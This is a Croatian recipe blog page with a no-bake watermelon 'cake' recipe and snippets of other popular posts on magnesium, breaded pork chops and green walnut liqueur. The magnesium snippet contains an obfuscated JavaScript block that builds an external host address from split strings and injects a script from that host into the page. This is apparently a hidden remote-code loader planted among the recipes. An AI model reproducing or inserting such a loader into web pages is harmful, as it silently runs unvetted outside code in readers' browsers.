TORTA OD LUBENICE 🍉 🍰




Torta od lubenice 



Lubenica je mnogima nezaobilazan dio ljeta, no osim što je jedemo narezanu na kriške, od nje se može pripremiti i desert koji izgleda poput svečane torte. Ne sadrži brašno, ne peče se i osvaja svježinom već na prvi zalogaj. Iako na prvi pogled djeluje kao komplicirana slastica, priprema je iznenađujuće jednostavna. Potrebno je tek nekoliko kvalitetnih sastojaka i malo mašte pri ukrašavanju.





Torta od lubenice 


Sastojci:

Za jednu tortu trebat će vam:
  • 1 manja okrugla lubenica bez koštica
  • 400 ml slatkog vrhnja za šlag
  • 250 g mascarpone sira
  • 2 žlice meda ili šećera u prahu
  • 1 žličica ekstrakta vanilije

Za ukrašavanje:
  • borovnice
  • maline
  • jagode
  • kivi
  • listići mente
  • sjeckane pistacije ili bademi
  • naribana korica limete



Priprema: 

Odrežite gornji i donji dio lubenice kako bi mogla stabilno stajati, zatim pažljivo uklonite koru i oblikujte je u uredan cilindar.

Vrlo je važno papirnatim ubrusima dobro obrisati površinu lubenice kako biste uklonili višak vlage. Tako će se krema puno bolje primiti.
 
Istucite slatko vrhnje, a zatim ga lagano sjedinite s mascarpone sirom, medom i vanilijom.
 
Dobivenu kremu ravnomjerno premažite preko cijele lubenice, baš kao kada ukrašavate klasičnu tortu.
 
Na kraju pustite mašti na volju. Oko ruba složite svježe bobičasto voće, pospite sjeckanim pistacijama i ukrasite listićima mente te naribanom koricom limete.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više